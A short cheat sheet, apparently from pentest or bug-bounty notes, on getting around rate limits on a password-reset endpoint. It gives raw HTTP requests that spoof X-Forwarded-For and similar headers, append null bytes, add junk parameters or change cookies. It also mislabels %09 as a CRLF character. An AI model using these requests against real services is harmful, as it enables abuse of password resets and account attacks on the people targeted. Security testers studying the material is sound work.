# Bypass Rate Limit
1. Try add some custom header
```
X-Forwarded-For : 127.0.0.1
X-Forwarded-Host : 127.0.0.1
X-Client-IP : 127.0.0.1
X-Remote-IP : 127.0.0.1
X-Remote-Addr : 127.0.0.1
X-Host : 127.0.0.1
```
For example:
```
POST /ForgotPass.php HTTP/1.1
Host: target.com
X-Forwarded-For : 127.0.0.1
[...]

email=victim@gmail.com
```

2. Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit.
```
POST /ForgotPass.php HTTP/1.1
Host: target.com
[...]

email=victim@gmail.com%00
```

3. Try changing user-agents, cookies and IP address
```
POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: xxxxxxxxxx
[...]

email=victim@gmail.com
```
Try this to bypass
```
POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: aaaaaaaaaaaaa
[...]

email=victim@gmail.com
```

4. Add a random parameter on the last endpoint
```
POST /ForgotPass.php HTTP/1.1
Host: target.com
[...]

email=victim@gmail.com
```
Try this to bypass
```
POST /ForgotPass.php?random HTTP/1.1
Host: target.com
[...]

email=victim@gmail.com
```

5. Add space after the parameter value
```
POST /api/forgotpass HTTP/1.1
Host: target.com
[...]

{"email":"victim@gmail.com"}
```
Try this to bypass
```
POST /api/forgotpass HTTP/1.1

{"email":"victim@gmail.com "}
```
